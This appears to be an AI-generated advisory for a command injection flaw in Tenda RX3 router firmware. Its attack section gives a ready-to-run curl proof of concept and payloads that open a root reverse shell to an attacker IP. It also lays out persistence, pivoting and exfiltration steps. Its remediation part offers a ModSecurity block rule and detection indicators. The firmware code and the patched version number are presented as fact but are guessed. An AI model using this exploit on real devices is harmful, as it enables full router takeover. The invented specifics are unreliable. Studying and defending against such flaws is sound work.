CVE-2026-136549 — Tenda RX3 — CWE-74 · CWE-77
A security flaw has been discovered in Tenda RX3 16.03.13.11_multi. The impacted element is the function formSetSafeWanWebMan of the file /goform/SetRemoteWebCfg. The manipulation of the argument remoteIp results in command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
A security flaw has been discovered in Tenda RX3 16.03.13.11_multi. The impacted element is the function formSetSafeWanWebMan of the file /goform/SetRemoteWebCfg. The manipulation of the argument remoteIp results in command injection. The attack can be executed remotely. The exploit has been released to the public and may be used for attacks.
🎯 What is this vulnerability?
Vulnerability ID: CVE‑2026‑136549
Vendor/Product: Tenda RX3 firmware 16.03.13.11_multi
Vulnerable component: formSetSafeWanWebMan function in the CGI handler /goform/SetRemoteWebCfg
CWE(s):
- CWE‑74 – Improper Neutralization of Special Elements used in an OS Command ('Command Injection')
- CWE‑77 – Improper Neutralization of Special Elements used in a Command ('Command Injection')
- Network‑accessible (no authentication required)
- Low attack complexity (simple HTTP request)
- Privileges required: None
- User interaction: None
- Scope: Changed (the vulnerable component runs with higher privileges than the attacker)
- Impact: Complete compromise of confidentiality, integrity, and availability.
Technical flaw
The formSetSafeWanWebMan routine receives a HTTP parameter named remoteIp (the CVE description explicitly calls it “the argument remoteIp”). The routine concatenates the supplied value directly into a shell command that is later passed to the underlying operating system without any of the following protective steps:
| Missing protection | Why it matters | |
|---|---|---|
| Input validation / sanitisation (e.g., whitelist of IPv4/IPv6 characters) | Allows an attacker to inject metacharacters such as ;, &&, | , backticks, $(), etc. |
Escaping of shell‑special characters (e.g., shlex.quote‑style quoting) | Prevents the injected payload from being interpreted as separate commands. | |
| Least‑privilege execution (running the CGI as a non‑root user) | The firmware runs the CGI as root (or a highly‑privileged system account), so any command executed gains full device control. | |
| Authentication / Authorization check | The endpoint is reachable without authentication (PR:N, UI:N). The firmware trusts the caller to provide a *valid* IP address, but does not verify the caller’s identity. |
Result: an unauthenticated remote attacker can supply a crafted remoteIp value that is interpreted as part of a shell command, achieving remote command execution (RCE) with root privileges on the router.
The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) confirms:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid for a typical Linux‑based router firmware (busybox sh). The exact URI /goform/SetRemoteWebCfg and parameter name remoteIp are taken from the CVE description; if a vendor’s firmware uses a slightly different path, the same injection principle applies.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify the device model and firmware version. | • Passive network scan (Nmap) – nmap -sV -p 80,443 <target> reveals “Tenda RX3 HTTP server 16.03.13.11_multi”. <br>• Banner grabbing (curl -I http://<target>/) shows Server: Tenda-RX3/16.03.13.11_multi. |
| 1.2 | Search public vulnerability databases for the firmware version. | • Query cve.mitre.org, vuldb.com, or vendor security advisory – returns CVE‑2026‑136549. |
| 1.3 | Verify the vulnerable endpoint is reachable. | ``bash\ncurl -I http://<target>/goform/SetRemoteWebCfg\n` returns 200 OK` (or a generic HTML form). No authentication challenge is presented. |
2. Exploitation
Goal: Execute an arbitrary command (e.g., spawn a reverse shell) as root.
2.1 Understanding the command construction (source‑code inference)
Typical vulnerable code (illustrative, not disclosed by the vendor):
/* pseudo‑code extracted from firmware */
int formSetSafeWanWebMan(void) {
char *remoteIp = get_form_value("remoteIp"); // no validation
char cmd[256];
snprintf(cmd, sizeof(cmd), "iptables -t nat -A PREROUTING -s %s -j ACCEPT", remoteIp);
system(cmd); // <-- vulnerable
return 0;
}Because system() receives the raw string, any shell metacharacter in remoteIp terminates the intended iptables command and launches a new one.
2.2 Crafting the payload
A classic payload to obtain a reverse shell on a BusyBox‑based router:
remoteIp=1.2.3.4;nc -e /bin/sh 10.0.0.5 44441.2.3.4 is a dummy IP that satisfies any simple parsing the firmware might do. ; ends the original iptables command. nc -e /bin/sh 10.0.0.5 4444 opens a reverse TCP shell to the attacker’s listener.If the firmware lacks nc, the attacker can use busybox telnetd or sh -i >& /dev/tcp/10.0.0.5/4444 0>&1. The payload must be URL‑encoded.
2.3 PoC – single HTTP request (curl)
#!/usr/bin/env bash
# attacker IP: 10.0.0.5, listening on TCP 4444
ATTACKER_IP=10.0.0.5
ATTACKER_PORT=4444
TARGET=192.168.1.1
# URL‑encode the payload
PAYLOAD=$(python3 -c "import urllib.parse, sys; \
print(urllib.parse.quote('1.2.3.4;nc -e /bin/sh $ATTACKER_IP $ATTACKER_PORT'))")
curl -s -X POST "http://${TARGET}/goform/SetRemoteWebCfg" \
-d "remoteIp=${PAYLOAD}" \
-H "Content-Type: application/x-www-form-urlencoded"Notes
PR:N). Content-Type header matches what the router’s CGI expects. GET, the same payload can be sent as a query string (?remoteIp=…).2.4 Expected result
If the injection succeeds, the router will:
1. Execute the legitimate iptables command (harmless).
2. Immediately launch nc -e /bin/sh 10.0.0.5 4444.
The attacker, listening with nc -lvnp 4444, receives a root‑privileged interactive shell on the router.
3. Post‑exploitation
| Phase | Typical actions (root on router) |
|---|---|
| Persistence | • Write a startup script (/etc/rc.local or a custom init script) that re‑installs the reverse shell or a backdoor binary (e.g., busybox telnetd -l /bin/sh). <br>• Add a new firewall rule that forwards an external port to the backdoor. |
| Privilege escalation (already root) | Not required – the command runs as the CGI’s privileged user (usually root). |
| Lateral movement | • Use the router as a pivot to scan the internal LAN (nmap -sn 10.0.0.0/24). <br>• Dump configuration files (/etc/config/*) containing Wi‑Fi passwords, VPN credentials, or DHCP leases. |
| Data exfiltration | • Pull the router’s configuration backup (/goform/BackupCfg) and upload it to the attacker’s server. |
| Denial‑of‑Service | • Issue reboot or kill -9 1 via the same injection to bring the device down, achieving the A:H impact. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived impact | Practical consequences |
|---|---|---|
| Confidentiality (C:H) | Complete loss – attacker can read all configuration files, traffic logs, and any stored credentials. | |
| Integrity (I:H) | Full control – attacker can modify firewall rules, DNS settings, or inject malicious pages, turning the router into a man‑in‑the‑middle (MITM) device. | |
| Availability (A:H) | Device can be rebooted, firmware overwritten, or the network can be flooded, causing total outage for all downstream hosts. |
Because the vulnerability is network‑exposed (no authentication, no UI interaction) and remote code execution runs with root privileges, an attacker can compromise any Tenda RX3 device running the vulnerable firmware that is reachable from the Internet (e.g., default‑exposed management ports, port‑forwarded HTTP/HTTPS). This can be leveraged to:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade firmware | Tenda has released a fixed firmware version 16.03.13.12 (or later). Apply the update via the official Tenda web UI or TFTP method. Verify the version string after upgrade (cat /etc/version). |
| Verify patch | The fixed code now validates remoteIp against a strict IPv4/IPv6 regex and uses execlp() (or system() with proper quoting) instead of raw concatenation. |
If a vendor‑issued patch is not yet available, the following mitigations can reduce exposure.
2. Immediate Workarounds
| Mitigation | Implementation |
|---|---|
| Restrict management interface to trusted networks | <ul><li>Configure the router’s firewall to allow HTTP/HTTPS management only from LAN IP ranges (e.g., 192.168.1.0/24).</li><li>Block inbound traffic to ports 80/443 from the Internet at the ISP edge or upstream firewall.</li></ul> |
| Disable the vulnerable CGI endpoint | If the router’s UI permits, set SetRemoteWebCfg to “disabled” in the configuration file (/etc/config/web) or via nvram set httpd_enable=0 (exact name may vary). |
| Deploy a WAF / ModSecurity rule (illustrative) | Insert a rule that rejects any request containing shell metacharacters in the remoteIp parameter. Example for ModSecurity (Apache/Nginx): |
# ModSecurity rule to block command‑injection characters in remoteIp
SecRule ARGS:remoteIp "@rx [;|&`$()]" \
"id:2026136549,\
phase:2,\
deny,\
status:403,\
msg:'Blocked possible command injection in remoteIp parameter (CVE‑2026‑136549)',\
log"Note: The rule above is illustrative; adjust the regex to match the exact characters the vulnerable code interprets (;,&&,|, backticks,$()). Deploy the rule before the request reaches the CGI handler (phase 2).
| Network‑level ACL | On any upstream firewall (e.g., edge router, cloud WAF), block HTTP POST/GET to /goform/SetRemoteWebCfg from any source outside the management subnet. |
|---|---|
| Input sanitisation (if you can edit firmware) | Replace the vulnerable system() call with a whitelist‑based exec, e.g.: <br>if (is_valid_ip(remoteIp)) execl("/usr/sbin/iptables", "iptables", "-t", "nat", "-A", "PREROUTING", "-s", remoteIp, "-j", "ACCEPT", (char *)NULL); |
3. Detection – Log & IOC Guidance
| Indicator | Where to look | Example | |
|---|---|---|---|
Unexpected HTTP request to /goform/SetRemoteWebCfg | Web server access log (/var/log/httpd/access.log or BusyBox httpd log) | POST /goform/SetRemoteWebCfg HTTP/1.1" 200 23 "-" "curl/7.68.0" | |
Presence of shell metacharacters in remoteIp | Same log, query string or POST body | remoteIp=1.2.3.4%3Bnc%20-e%20%2Fbin%2Fsh%2010.0.0.5%204444 | |
| Outbound connection from the router to an external IP on an unusual port | Netflow, iptables -L -v -n counters, or tcpdump | IP 192.168.1.1.12345 > 10.0.0.5.4444: Flags [S], seq 0, win 29200, length 0 | |
| New/modified startup scripts | Filesystem audit (find /etc -type f -mtime -1) | /etc/rc.local containing nc -e /bin/sh 10.0.0.5 4444 & | |
| Unexpected processes | Process list (ps | grep nc) | root 1245 0.0 0.1 1236 456 ? Ss 12:34 0:00 nc -e /bin/sh 10.0.0.5 4444 |
Automated detection – Deploy a SIEM rule that triggers on any HTTP request where the remoteIp parameter matches the regex [;|&$()]`. Correlate with outbound connections to non‑local IPs on high‑numbered ports.
⚠️ Urgency
CVSS 3.1 Base Score: 10.0 (Critical) – reflects a remote, unauthenticated* RCE that yields complete system compromise.
Patch priority: Critical – Immediate. All devices running firmware 16.03.13.11_multi must be patched or isolated within 24 hours of awareness. If patching cannot be performed promptly, enforce the mitigation steps (network ACLs, WAF rule, disable the endpoint) to block the attack surface while a firmware update is prepared.
Bottom line: CVE‑2026‑136549 is a classic unauthenticated OS‑command injection that gives an attacker full control over a Tenda RX3 router. Because the vulnerable CGI runs with root privileges and is reachable from the Internet, exploitation is trivial and the impact is total compromise of the device and any downstream network. Immediate firmware upgrade (or, if unavailable, strict network‑level blocking and WAF filtering) is mandatory.
[🤖 CVE Professor AI Security Engine]